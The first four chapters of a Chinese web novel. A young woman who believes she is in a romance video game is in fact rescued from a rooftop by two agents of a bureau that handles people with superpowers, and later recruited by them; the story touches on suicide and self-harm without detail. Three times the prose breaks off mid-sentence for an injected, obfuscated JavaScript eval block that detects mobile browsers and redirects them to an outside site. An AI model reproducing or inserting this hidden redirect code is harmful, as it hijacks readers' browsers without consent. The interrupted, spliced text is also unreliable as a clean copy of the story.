《什么?这不是恋爱游戏!》 1. 玩偶01 关可还没有睁开眼,最先感受到的是触觉。 狂风拂过脸颊,并不温和,而是猛烈地吹着头发向后飞舞。身上的衣服被刮得紧贴着身躯,整个人像是要被风席卷得飞起。 不错。 是自由的感觉。 这游戏的开场做得很棒啊! 关可在心底评价了一句,睁开了眼睛。 入目是被踩在脚下的城市,高处俯视的感觉让人不自觉地眩晕,但是转念一想这只是游戏,眩晕感还在,但心态好了许多,况且她人还是坐着的。 关可做了会儿心理建设,才重又低头往下看。 道路上的车流长龙似的往前游动着,车辆小得仿佛一只手就能攥住,可惜是在白天。等到晚上夜幕降临,灯光点亮,这一幕美景必定更加动人。 反正游戏里的时间不算时间,干脆在这里坐到晚上吧。 但干坐着点儿冷,是不是得先去搞件外套? 内心种种念头闪过,突然听到身后传来一道温和的声音,“你好,要聊聊天吗?” 引导NPC? 玩家面前出场的第一个游戏角色,多半跑不了了,听声音就是个帅哥,关可怀揣着期待转过头去。 事实也果然没让她失望。 后面站着的是个瘦高的青年,眉眼精致、脸型瘦长,高挺的鼻梁上架着一副金丝眼镜,身上浅色的长风衣越发衬得气质卓然,风衣的下摆在风中猎猎作响。 见关可转头看过来,青年立刻露出一个温和的笑来,那凛然的精英范儿一下子被这个笑容冲散了,他整个人显得柔和可亲起来。 青年主动自我介绍道:“我姓徐,双人徐,徐斐然。” 关可:唉?居然是先自我介绍吗?一般不都是先给出玩家的个人信息吗? 关可脑子急速运转,没过一会儿就露出了“睿智”的眼神。 她懂了。 这一定是位可攻略对象! 虽然这个游戏标榜着高自由度、玩法多样,供玩家自由探索,但既然是个游戏必定有它的主线,区别只在于玩家愿不愿意走主线而已。 从这个NPC的表现来看,这多半是个恋爱游戏。 徐斐然插在兜里的手攥着手机,掌心都覆了一层薄薄的汗。 透过衣兜的间隙,能够看见亮着的手机屏幕正显示着通话界面,凑得进了,能听见另一边急速奔跑带来的风声呼啸。 徐斐然视线遥望的一瞬,好像能透过天台边缘的摇摇欲坠的少女,看到对面那栋未完工高楼上,正往上方奔跑攀爬的黑色身影。 可千万要赶得及啊! 徐斐然心底默念了一句,强自镇定地又对着女孩笑道:“你叫什么名字?” 关可:果然! “关可。” 《异界》这个游戏主打一个真实性,系统无法录入一看就是网名的名字结构。关可在起名界面折腾了两个多小时都没想出一个合适的名字,一怒之下用了本名。 关可刚这么想着,就听一句语调柔和的,“可可~” 关可:“……” 用真名去玩游戏,果然哪里怪怪的。 对面继续问:“你怎么在这里?” 这个初始攻略对象好主动! 心底默默感慨了这么一句,关可看了眼脚下的车水马龙,再看看对面还在修建状态的钢筋水泥和这边一片荒芜的天台,不确定的回:“看风景?” 但这么一看,好像也没什么好看的。 徐斐然脸上的笑都快僵了。 找借口也不能这么敷衍啊! 他不怕对方哭诉,就怕对面连情绪抒发的意图都没有……这通常意味着对方打定主意要跳了。 徐斐然心底暗自祈祷了一句“易骥最好赶快点”,重又扬起了笑,“那里不冷吗?” 关可:……好像是有点。 不过要这么回答,对面会不会觉得她是个傻子? 大白天的,在天台上吹着冷风看对面未完工的钢筋水泥,似乎是有点大病的样子。这个NPC看起来智能很高的样子。 关可纠结地晃了晃腿,身形摇动间,整个人越发摇摇欲坠。 徐斐然呼吸都滞了一下,强行绷住了笑,佯装自然地邀请着,“我刚才上来的时候,看见楼下有家卖汤面的小摊子,摊位上雾气腾腾的,吃一碗面一定很暖和。我在上面站了这么久,都有点儿冷了,你愿不愿意先陪我下去吃一顿面?” 关可略微睁大眼睛。 NPC的主动邀约,这也太快了吧?她可还没开始攻略呢。 看出了关可的动摇,徐斐然笑容越发柔和,“可可,你愿意吗?” 关可脱口而出:“愿意。” 把邀请吃饭说成求婚的架势,他也太会了吧! 正这么想着,她就看见对面的青年抬起手臂。 他并未往前走近,而是就在原地做了个迎接的姿.势。 关可:……好可! 决定了,从今天开始,这就是她的本命了! 玩家的行动力超绝,既然决定了,就一刻都不想在原地停留。关可立刻站起身来,准备和新任老公来个二人约会。 结果,这个游戏的模拟现实过于逼真,玩家维持了一个姿.势坐了太久,起身的时候觉得双.腿一麻。麻痹中又隐隐带着抽痛,她下意识地想要抓住什么东西来为维持平衡,但是周围空空荡荡的,没有任何东西可以依凭。 而她松手的一瞬间,怀中的玩偶往下掉落。 关可这时候才注意到,自己怀里一直抱着一个白色的猫咪玩偶,这个玩偶对玩家角色似乎相当重要,在它落下的一瞬间,关可突然感觉心里一空,甚至违反了求生的本能,先一步将它抱在了怀里。 意外发生得猝不及防,徐斐然快步往前冲了几步,却心知肚明根本来不及,他脑海中已经预演了少女坠.落的惨状,那是他早些年跟随着救护车的时候,曾经多次亲眼见过的画面。 好在在关可坠.落下去前,另一道黑影从对面的建筑上跃了过来。 ——赶上了! * 脚下悬空的那一瞬,关可都以为自己要砍号重来了,结果被一股冲力带着向着后方跌去。后背重重撞在水泥地面上,薄薄一层的衣服构不成缓冲,贴着粗糙的石砾滑出了一阵火.辣辣的疼痛感,她下意识往后撑得手肘更是一阵麻木,整条小臂都失去了知觉。 疼痛让关可整张脸都扭曲了。 虽说这个游戏号称100%还原,但也不必连痛感都真实到这地步吧?差评啊! 过于真实的触感同样带来了别的感知,关可能感觉一只手稳稳地拖住了她的后脑,没让这个脆弱的要害直接磕在地上,另一条手臂紧紧圈在她的腰上,距离如此之近,她能甚至能听到另一个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722061|189409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的呼吸声,陌生的男性气息几句侵略性的占据了鼻腔。 凭借着对恋爱游戏的认知,关可已经猜到这也绝对是一位攻略对象。 因为被对方抱得太紧,她几乎能够透过两个人的衣服感受到那劲瘦的腰线,身材绝对很棒。 ……所以这就是痛并快乐着吗? 脑子里还转着这些,扑过来的男人已经放开了手。关可心底的粉红泡泡还没来得及冒,就被冷漠无情地扔在了水泥地面上。 关可:? 她仰躺着看着二号攻略对象逆着光的脸,剑眉星目,五官端正又英气,但再好看的一张脸,也架不住这会儿满脸“惹了麻烦”的烦躁表情。 他脸色很臭从半屈膝撑地的姿态站起身来,转身就走,特别像是办完事之后拔x无情的渣男。 关可:??? 好在另一位攻略对象已经赶了过来,是关可几分钟前刚认识的老公。 徐斐然没有第一时间扶起关可,而是一边粗略地做了下检查,一边问:“哪里觉得疼?” 关可:果然没有对比就没有伤害! 她决定了,不管在这个游戏里遇到多少帅哥,眼前这位都是她的头号老公! “不疼。” 为了维持自己在攻略对象面前的形象,关可生生地把涌上来的眼泪眨回去,挣扎着坐起身来。 因为没想到关可会有这个反应,徐斐然连喝止都没能来得及。 不过刚才的检查来看,对方身上也没什么大事。 徐斐然舒了口气,将手轻轻覆在关可的后背上,他轻触的地方,撞击的软组织挫伤和隔着衣服被石子划出来的血痕转瞬恢复,手指顺着肩膀往关可刚才撑着地面的手肘上拂过,那带着刺痛的麻木转瞬间恢复。 动作都很隐蔽,关可并没有察觉,只是感觉身体瞬间轻松了很多。 果然摔疼的时候就需要帅哥一个温柔摸摸! 本来已经走开的易骥脚步一顿,他回头瞥了徐斐然一眼,在对方碰触着关可的手上停顿了一会儿,终究还是没多说什么,而是继续往天台另一边的洗手池走过去。 水龙头上面的镀层剥落,看起来颇有些年头了,但是从水槽的洁净程度来看,应该还有人使用。果然但拧开之后,立刻就有水流了出来,一开始微微浑浊,很快就清澈起来。 易骥将自己的右手放到了水流下面冲洗——非任务期间没戴战术手套,身上也没有急救包,他刚才护在关可脑后的手被水泥地面蹭上了一层擦伤,褐灰色的沙土混在创面上,一片血肉模糊——他眼也不眨地将伤口上尘土冲了干净,又随手甩了两下,把水甩干,紧接着手背上隐约的电光闪过,刚才还显得狰狞的伤口以肉眼可见的速度愈合。 等易骥再折身返回去的时候,就听见徐斐然已经在问那个女孩家人的事了。 不出意外地得到回答,“我没有家人。” 易骥眉梢动了动,但表情没有多大变化。 想想就知道,要是有靠谱的家人,这人也不至于在天台上坐这几十分钟。 徐斐然也心底有数,但真的听到了这个答案,还是忍不住在心底叹了口气。 他压下那些思绪,重新挂上了笑意,语气温柔的,“可可刚才答应陪我去吃点东西,这话还算数吗?” 关可忙不迭地点头。 算的算的! 怎么能不算呢?! 2. 玩偶02 关可是被徐斐然询问家人的时候,才意识到自己刚才的处境很惹人误会。 也不一定是误会。 正常人会那么坐在天台边缘吗? 关可陷入沉思,一直到下了天台的楼梯,她还没有想明白到底是系统投放点出了问题,还是角色本身有背景故事。走神间,摸到了衣袖上被地面擦起的勾丝,关可下意识地把袖子往上挽了挽,但袖口刚一折上去,就露出了小臂上新旧交错的疤痕。 关可心底一跳,连忙把袖子放下。 果然是角色的背景故事! 因为游戏环境实在太过逼真,关可放下袖子后,下意识地确认身旁的两人。 徐斐然正张望着寻找电梯方向,易骥更是连头都没低一下。 看起来不像是注意到的样子。 关可暗松了口气,赶紧默念了一句“系统面板”,调出角色的背景信息,目光从一行行文字上飞快扫过。 而就在她低头的瞬间,旁边的两人交换了个眼神。 易骥瞥了一眼关可怀里的猫玩偶,抬手打了个手势。 徐易两人是被“猫叫”吸引上天台的,一声接着一声,声音极为凄厉。但那么高的天台,普通的猫叫声可传不下来,而当时路上也有别的行人,却都没有听到,这叫声像是直接从二人脑子中响起的,明显是异能的作用……要么玩偶不对劲,要么关可不对劲。 易骥的意思是直接把人带回局里问话。 如果最后证明了关可没问题,异常出在玩偶身上,到时候给人洗掉这部分记忆就行。 徐斐然却摇了摇头,不赞同这么简单粗暴的办法。 不管这女孩到底是不是同类,又是不是因为“异于常人”才遭遇排斥,人才刚刚寻死过,情绪还没平静下来,逼问多半问不出来什么的,着急的话还可能适得其反。 易骥平静地转开了视线,没有强求。 …… 一行三人到了楼下的小面摊。 这奇异的组合让老板多看了两眼,视线在易骥身上停留得尤其久,好像在犹豫是不是要报个警。 还是徐斐然上前解释了几句,又出示了证件,才让老板放下戒心。 但紧接又着看向关可,唏嘘感慨:“小姑娘还年轻,后头的日子还长着呢,能有什么过不去的坎?叔跟你说,我家这面条好吃着呢,这人生百味不过油盐酱醋。吃顿面什么都好了,这顿叔请你的!” 关可忍不住睁大了点眼。 连路人NPC也这么智能?这游戏也太真实了吧?! 因为这点意外,她隔了一会儿,才慢半拍地回道:“谢谢您。” 看起来真有点精神恍惚,反应迟钝的样子。 摊主怜爱之色愈甚,给关可的面里多放了一个荷包蛋。 四人桌的座位,徐斐然坐在关可对面,易骥坐在对角,关可本来打算抱着玩偶,结果老板娘不知道从哪拿出来一个儿童座椅。 关可受宠若惊:“太谢谢您了。” 游戏里连这东西都有。 老板娘摆手:“多大点事,小姑娘想开点。” 徐易二人暗地里交换了个眼神,不确定这是不是异能的影响。 关可不知道这两个人的心情,等自己那份香气扑鼻、分量十足的面上来之后,就专心恰起了饭。刚才检查角色背景信息的时候,她就发现了,角色体力条已经快到底了,要是没有这碗面补充体力,她可能晕倒在回到居住点的路上。 易骥:“……” 他忍不住看了关可一眼。 刚才还寻死觅活,现在就专心吃饭。 这情绪转换够快的啊! 徐斐然的视线则是从关可身上略过,落在桌旁的那只玩偶身上。 玩偶有异常已经是确定的了。现在的问题在于,这玩偶到底是单纯的异能道具,还是被操纵的异能……这女孩子本身似乎并不知情。 一碗热乎乎的面吃得关可浑身都暖和起来,内心暗地里感慨这个恋爱游戏的美食元素做得着实不错,检查过体力条上升到正常的范围、自己不会在“约会”途中晕倒后,她终于有心情关注自己的攻略对象。 这一下子就注意到了徐斐然屡屡瞥向猫玩偶的视线。 这可是系统送的攻略方向啊! 关可立刻开口问:“你喜欢它?” 徐斐然顿了一下,但很快就露出了个笑来,“是啊。可可愿意把它送给我吗?” 这话提得有点直接,但攻略送礼物可是基操,就算徐斐然不提,关可也打算送。 关可刚刚动过这个念头,那个玩偶上方就显示了一行大写加粗的红字。 [雪团,唯一的朋友。] 关可险险止住了自己想要点头的动作,仔细看过那行字:这是在解释玩偶的身份定位?也就是说,如果她选择直接赠送,会破坏角色初始设定。 徐斐然也注意到了关可这突然的停顿。 想想刚才老板娘的动作,再回想起天台上要掉下去时关可下意识捞玩偶的举动,他心中一时更倾向于“异能道具”的猜测,这女孩或许被玩偶影响到了。 还不知道这个玩偶是怎么起作用的,强行隔离不一定是好办法。 心思念转,徐斐然已经笑着揭过了话题:“我开玩笑的,可可不用放在心上。” 关可摇了摇头,她先是照着那行字给出了玩偶的介绍,“雪团是我唯一的朋友。” 徐斐然心下微沉,连旁边专心吃面的易骥都顿了下筷子。 “玩偶的朋友”可不是个好称呼,这女孩最后会不会也变成玩偶?异能事件中从不乏这样的先例。 易骥都开始琢磨把人打晕带回局里了,却听关可接着:“但是徐哥不是别人。” 徐斐然一愣。 关可郑重地把这个猫玩偶放到了徐斐然怀里,“你要好好照顾它。” 徐斐然没想到会是这样的发展,一时都忘了抬手去接。好半天才回过神来,心情复杂地接过玩偶,“我会的。” 看着对面女孩专注又信赖的目光,他良心难得有点痛。 易骥似笑非笑地瞥了徐斐然一眼,继续低头吃面。 反正姓徐的说他自己解决,不管什么方法,起码最棘手的问题已经解决了。 关可接着问:“我以后可以去探望它吗?” 既然不能随随便便送,那就态度郑重地送,这样就有理由建立和攻略对象长期的交流关系了。她可真是一个平平无奇的攻略小天才! 徐斐然压下那股“被请求孩子探视权”的诡异感,点头答应。 要调查清楚这个异能道具到底怎么影响到人的,确实需要关可的配合。 于是关可愉快地拿到了一号攻略对象的联系方式。 皆大欢喜。 * 把关可送回了家,徐易二人坐回到了车上。 那只白色的猫形玩偶就被放在中控台的正中央。这是个手工缝制的玩偶,缝得人很仔细,但因为并不是专业人士,有些地方能够明显看见暴露的缝线。 徐斐然视线在玩偶一蓝一黄的异色眼睛上停住,保持着注视。 玩偶一动不动地坐在中控台上,任由徐斐然打量。 旁边的易骥比他直白多了,他拿出了双一次性筷子(从刚刚的小摊上捎带出来的),在猫玩偶前面比划了两下,然后“咔嚓”一声,木棍在他手上折成了两半。 玩偶:“……” 猫玩偶疑似哆嗦了一下,但或许是因为车上的已经打开的引擎的震动,这颤抖并不明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722062|189409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显。 易骥没有就此停下,木棍上电光闪过,转瞬间变成了四节焦炭,像是被雷劈过树木一样,簌簌地往下落着黑灰。 玩偶连哆嗦都没有了,任由车辆引擎震动,纹丝不动地端坐在中控台正中间。 徐斐然仿佛能看见它背后密密麻麻的冷汗。 徐斐然差点忍不住笑声,险险咳嗽了一下做遮掩,这才开口“劝说”:“没什么反应,看起来只是一个普通玩偶,易骥你别太紧张……刚才或许是我们听错了,也或许是真的猫叫也说不定。” 易骥没反驳徐斐然这鬼话连篇,而是顺着话放下了手中的焦炭,敷衍着:“是吗?” 徐斐然忍着笑点点头,又像是想起什么来似的,“对了,这个给你。” 他随手扯下一张便签纸,揉成团扔向易骥。纸团被易骥稳稳接住,但是车内两个人却都没再说话,而是直勾勾地盯住了那个端坐的玩偶。 树脂的异色瞳中,玩偶的眼珠转到了右侧。 徐斐然拉长了声音感慨,“还真的是‘猫’啊~” …… 并不知道自己的“小伙伴”正遭遇着怎样的水深火热,回到“家”后,关可立刻发挥玩家本色,开始在房间一顿翻找:收获食物饮用水若干,可供更换的四季衣物,以及疑似角色爱好的手工材料若干。 起码最近几天,玩家的生存可以保证了。 属于平平无奇的普通开局。 关可十分满意。 毕竟她不想专心攻略NPC的时候,还要为自己的角色生存问题操心。 她心情不错地打开了角色的电脑,但随着开机画面显示后又消失,一个鲜红色的“死”字出现在了屏幕的正中。字体很大,几乎占据了整个屏幕,还是个动态的画面,漆黑的背景上,这个触目的大字像是刚刚被刷上的油漆、又像是还没凝固的鲜血,一滴一滴地往下淌着红色液体,后方以更浅的颜色密密麻麻地写着些小字,仔细看去,都是些辱骂侮辱的言辞。 眼前飞快闪过角色的回忆画面,画面中的人无意中点开一封包装成应聘回复的邮件后,电脑就像是中了病毒一样显示出这幅画面,这成了压垮骆驼的最后一根稻草,让本就处在人生低谷期的角色选择了登上那栋高楼。 所以这是一条支线? 关可截图记录下邮箱地址和邮件内容,又转而从角色的背景信息上找起了相关线索。 刚才从那栋楼上下来的时候,关可已经看过角色的个人资料。 总的来说是个可怜小女孩,父母早逝,被血缘上的舅舅、舅妈领养,但养父母对她并不好,非打即骂还被当做免费保姆。这孩子好不容易靠着助学贷款完成学业,找了份还算过得去的工作脱离家庭控制,养父母又以索要养老的理由来公司大闹,正好赶上公司正在和供货商谈一笔生意,合作就这么告吹。可想而知,角色作为职场新人,还没创造价值就让公司蒙受那么大的损失,理所当然地失去了这份工作。 关可唏嘘完了之后,开始寻找线索。 是没索要到金钱的养父母的报复?还是因为合作告吹同样工作受波及的同事的发泄? 从行为模式上来讲,前者更有可能,但从实施能力来讲,关可不觉得角色的养父母能够做出这么“高端”的报复行为,也或者是单纯的网络恶作剧,需要玩家跟随调查的任务事件。 关可还推测着各种可能性,无意中往下一瞄,却看见系统面板上,本该是失业状态的玩家有一条职业备注:玩偶师。 而后面写着:[lv1: 1/10]。 关可:! 她看着房间里的手工材料,瞬间明白了自己现在该干什么了。 练级啊! 绝对的实力面前,一切阴谋诡计都是纸老虎。 3. 玩偶03 “徐哥,你说的那个小区没错吗?我都往前倒了一个星期了,各个大门的监控都调了,没见她出来啊。” 那天徐斐然在车上诈出那只猫玩偶能够自主行动之后,就没有后续了。那只猫玩偶打定主意装死,不管做什么,它都是一副普普通通的玩偶样子,仿佛那天的眼睛转动是他们眼花。 毕竟是难得的异能道具,又没有表现出什么威胁性,徐斐然决定先观察一阵子,易骥对此也没什么意见,两人把玩偶带到了异管局。局里有相应的检测设备,一周过去了,玩偶身上能量越来越低,再放下去就真的变成一只普通玩偶了,徐斐然这才意识到是自己的思路出了错。 问题不在这只猫玩偶身上,而在于关可。 要么关可本人有问题,要么送她这只玩偶的人有问题。 不管怎么样,都要从关可身上下手。 徐斐然也不是完全没做准备,那天送关可回到小区的时候,他特地在小区外的监控下转了一圈。局里有专门电子监控方面的异能者,有了时间和位置标志,很容易就找到了那天的影像,只要在监控里见过人,他就能锁定目标任务的位置。 但是问题就出在这里。 徐斐然托情报员调记录的时候才发现,从那天他们送关可回家之后,整整一周,对方再也没踏出小区一步。 万琨还在嘀咕着“这不对劲儿啊”,徐斐然已经想起了那天下楼时看见的对方小臂上明显自残的疤痕,他急声问:“能查到小区内部的监控吗?她这周有出过门吗?!” 万琨:“我查查……唉?她出来了!等我看眼时间记录。不对,这是实时监控,她刚出门。” 这可太巧了! 万琨还打算感慨两句,转头看见徐斐然准备往外走。 意识到徐斐然想干什么,他下意识拦了一句:“徐哥,你一个人去啊?” “你和我一起?” 万琨脸上立刻露出了抗拒的表情。 异能带来不全是好结果,当年万琨就因为自己的异能被怀疑为偷窥癖,遭受了很长一段时间的人身攻击,因而很排斥和人接触,进入异管局之后基本把这里当家住了。 徐斐然了然,他抬手摇晃了一下自己的手机,“手机上有定位,你能查到位置,再从监控里看着我,这也不算是‘单独行动’。退一步说,这也不是执行任务,只是去见一见老朋友,也不算违规吧?” 万琨被说服了。 只要不让他出外勤,一切好说。 * 关可是因为家里的存货告罄才被迫出门的。 她把自己关在房间里整整做了一周的玩偶,体力条见底了就吃点东西,精力条见底就昏迷过去,醒了之后继续未完工作,玩家刷起级来就是这么专心致志。 但是再怎么不为外物所动,家里吃的喝的都没有的时候,也得出门补充物资。 这游戏太过逼真,关可出门的时候还真的感受到室内室外的光线差,她忍不住闭了闭眼,抬手挡了一下刺目的阳光才缓和了点。但人就这么站在街道上,身上还是有点整整一周的日夜颠倒、有上顿没下顿生活的虚弱感。 也可能是因为体力条快见底了。 为了避免第一周目以这么奇葩的理由game over,关可让系统导航到了最近的体力补给点,是一架自动贩售机。 她忍着眼前一阵阵发黑,买了一瓶能量饮料。 费了点力气才拧开瓶盖灌了一大口,又背靠着贩售机缓了好半天,这才从那随时昏厥的状态里缓过来。 然后就感知到一股被注视的感觉,她转头一看,旁边一个衣着破旧的老太太正盯着她打量。 老太太手里提着一个编织材质的垃圾袋,里面都是塑料瓶子。 关可:? 被捕捉到目光,老太太眼神躲闪了一瞬。 关可却觉得自己明白了。 她抬手指了指自己手上的瓶子,“您要这个?” 老太太攥了攥手里的编织袋,缓慢点点头。 关可把剩下半瓶饮料喝完,把瓶子递了过去。 老太太接过瓶子,也没有像是编织袋里面的一样压扁,连瓶盖都没有要,就匆匆要转身离开了。 “等等!” 关可出声叫住了她,没有无用的NPC,只有不会触发任务的玩家。刚刚吸收了糖分的大脑急速运转起来,关可给出了玩家的标准句式,“您需要什么帮助吗?” 老太太不知为什么僵在了原地。 关可再接再厉:“有什么我能帮您的吗?” “瓶子,”老太太操着一口浓重的乡音开口,但刚说了两个字就咽下去,有点艰难地开口,“钱、我缺钱。老婆子家里……” “可可。” 身后突然传来一道熟悉的男声,关可转过头去一看,见是几天才见过的徐斐然。 这可是她的一号攻略对象! 关可立刻打招呼道:“徐哥。你怎么来这里了?” “你那天不是说会去看雪团吗?这几天一直没有消息,我怕出什么事,就过来看看。你这是干什么呢?” 碰到一个隐藏任务,正准备尝试开启。 关可刚想要这么说,转头一看,却见那个老人已经蹒跚着离开了。 她想要开口叫住人,却被徐斐然往前一步,挡在了身前。 关可:? 错觉吗?怎么觉得对方有点拦下她接隐藏任务的意思。 徐斐然的确是有意拦住的。 他是刚才在路上接到万琨的电话,对方告诉了他监控里拍到的画面,关可走路摇摇晃晃看起来状态不好,身后还跟着一个人。 联系到上次关可自.杀,徐斐然差点儿就阴谋论了起来。 还是万琨提醒,那像是个拾荒老人,看起来像是打算等关可倒下之后,从她身上拿点现金或是手机之类的财物。 不管是哪一种,能不接触还是不接触的好。 徐斐然这才放弃了“巧遇”的想法,直接找了过来。 “你上次送我玩偶,我还没有谢谢你呢。一起去吃顿饭怎么样?” 美色在前,关可立刻把刚才支线任务抛到了脑后,“好啊!” * 路上,徐斐然拐弯抹角地问起了关可这几天的情况。 玩家对于攻略对象的温柔体贴非常高兴,全无隐瞒地将这几天日常和盘托出。 没出门。在家里。做手工。 “手工?什么类型的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722063|189409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工?”徐斐然追问的同时也在观察关可的表情,见后者目露迟疑,立刻面带歉意地补充,“抱歉,我只是有点好奇,要是不方便说的话……” “没什么不方便,是玩偶。” “像‘雪团’那样的?” 关注点是这个吗?没想到这个攻略对象看起来温润矜贵的,私底下居然喜欢玩偶! 这就是所谓的反差萌吗? 还挺香! 关可在心底默默打了个好评,她一点儿也不放过这个攻略机会,直接提出了邀请,“你要来我家看看吗?” 徐斐然:“……如果不打扰的话。” 进展太顺利了,反而让人有点不安。 * 异管局。 万琨还在专心致志地盯着眼前的监控呢,身侧突然一道阴影投过来。 万琨回头看了一眼,看见是易骥,下意识地想要侧身去挡屏幕,“易、易哥?” 易骥已经看见了屏幕上的徐斐然了,“他一个人出去了?” “不、不是一个人,我这儿正盯着呢。再说,徐哥就是去见见朋友,又不是出任务。说好了考察期一年,下一个月就完全解除了……徐哥也不是什么危险人物,不用像是看犯人似的盯着吧。” 易骥不置可否。 不是危险人物?这可不一定。 易骥视线从监控上扫过,目光却在右下角停留了一瞬,“那个人……” 几乎是易骥的话音刚落,他注意到的那个骑摩托车的青年已经拧了一把油门,从人群中飞驰而过,但是才驶出去几十米,摩托车就意外侧翻,青年被摔飞出去,摩托车也侧倒在地上,轮子朝天还在转着。 别说是现场的人了,就连盯着监控的万琨都没一时反应过来,愣在了原地。 易骥:“退回去,慢放一遍。” 万琨这才如梦初醒,快速地把这段监控画面重新拨回到开始的地方。 原来这个骑摩托车的青年是个飞车党,突然加速抢了一个女人的手机,却不慎在抢夺过程女生的手机链掉落,链子正好落在了车轮上,这个当街抢劫的飞车党就这么飞了出去。 那边现场已经喧闹起来,围观群众围成一团。 报警的报警,叫救护车的叫救护车,还有看热闹不嫌事大拍起短视频的。 当街抢劫,够嚣张啊! 万琨还感慨着,却听见旁边易骥开口,“刚才手机挂坠掉下来的那部分,放大区域,慢速再放一遍。” 万琨:? 虽然不明所以,但他还是照做。 屏幕上的监控又倒退回抢夺手机的那几秒钟,画面固定在被抢夺的手机上。 这么集中放大后,就让人注意到更多细节。万琨看见手机的右下角挂的不是常见的市售手机挂坠,而是一个拇指大小的袖珍玩偶。挂坠在抢夺过程被扯断,玩偶掉落,里面的填充物似乎密度不小,坠.落速度很快,但在快落地的时候突然拐了个弯,这才落在了摩托车轱辘地下。 “现场风这么大吗?” 万琨说着,下意识把玩偶拐弯那地方又重放了一遍,总算察觉异常:这绝对不是正常的玩偶坠.落轨迹! 再抬头一看,果然见易骥的表情严肃起来。 4. 玩偶04 关可是在回去的路上发现了徐斐然异常沉默。 作为一个攻略者,当然要时刻关注攻略对象的情绪。关可立刻开口询问:“你怎么了?” 徐斐然僵硬地往上扯了一下唇角:“没什么。” 玩家没有怀疑。 NPC怎么会骗人呢?那必不可能。 但等关可转过身后,徐斐然的表情重又沉了下去。 刚才抢劫犯飞出去的时候,关可的反应不对。 不管是她主动的行为,还是异能的被动效果,她都太冷静了。 她只是走过去捡回了自己的手机,又捡起被扯断的玩偶挂饰。 脸上平静极了,既没有被抢的愤怒、也没有把手机拿回来的高兴,既没有对抢劫犯自食恶果的幸灾乐祸、也没有对对方躺在那里生死不知的关心……她就那么漠然地穿过了围观嘈杂的人群,平静地看向他、继续先前的邀约。 好像刚才什么都没有发生。 徐斐然头疼地按了按额角。 异能者多数都不太正常,或许是因为作为人群中的异类、与常人格格不入而带来的压抑,也或者是这种能量本身就更亲近异常的人,但是不管哪个是因哪个是果,徐斐然接触的异能者,包括他自己,都或多或少有点儿心理问题。 在关可说出“玩偶是朋友”的时候,他就应该警惕了。 她根本没把人当成自己的同类,玩偶才是。 在心底重新评估了关可的危险性,徐斐然调整好心情,跟着关可到了玩家的家里。 打开门的那一瞬间,徐斐然背后的汗毛都竖起来的了。 被隔断成单房间的出租屋的空间有限,关可将一周制作的大大小小的玩偶都摆在了门口,徐斐然只觉得他踏入的一瞬间,密密麻麻的视线落在他,“注视”着他这个人类。 关可奇怪地看了眼突然停步不前的徐斐然,“不进来吗?” 徐斐然:“……” 失策了,这异能正好克他,该让易骥过来的。 十几分钟后,看过监控的易骥确实过来了。 是以“无登记使用异能”的名义过来抓人的。 关可差点儿达成了在游戏里锒铛入狱的悲惨结局。 好在异能使用没有造成严重后果,那位抢劫犯送医后没有什么严重伤势,经过一番波折后,关可成了异管局正在观察状态的“实习生”。 从“阶下囚”变成“在职人员”,这转变即便是在游戏里也要让人忍不住惊叹。 得知异管局的常规招人方式之后,任谁都得说一声“牛逼”。 项霜冲着关可摆摆手,“这也是没办法的办法。异能又没法遗传,出现在什么年龄什么人身上完全随机,官方隐藏了相关信息,普通人知道的有限,只要不是中二期的小屁孩,但凡有点脑子的都会好好藏起来,免得被送进实验室,能抓来干活的只有露出马脚的……你也是怪倒霉的,原本那点异能使用程度根本引不起什么注意,要不是被那两个盯上,这会儿还在外面晃呢。” 关可眨眨眼,看向这个漂亮的女NPC。 项霜,是玩家开辟异管局新地图后的引导NPC,性格开朗大气,玩家很喜欢她。她也很喜欢玩家。 “那项姐是怎么进来?” 项霜立刻露出了往事不堪回首的表情。 她拿了个一次性纸杯,给关可倒了接了杯水递过来。 关可不明所以地结果。 项霜在她的纸杯边缘点了点,关可立刻觉得手里一阵寒意,在低头一看,杯子的正中心绽开了一朵冰花。 关可:! 她忍不住惊叹地看向项霜。 “好看吧?拿这个卖奶茶不得卖疯了?” 关可:“……” 思路有点清奇啊。 项霜却并不觉得有什么问题,只是唏嘘着,“我当时兴冲冲地辞职创业,觉得马上就能拳打某颜脚踢某点。支起的摊子确实爆火,当天就卖得脱销,但没两天就被异管局上门,接着就是网上的视频全都删了,后来的事你也知道了。” 关可无话可说。 项霜行动力确实厉害。 项霜倒是拍了拍关可的背,安慰:“这工作也挺不错的,里面的人都挺奇怪的,就不显得自己怪了。你先回去休息一晚上,明天带你去组里认认人。” 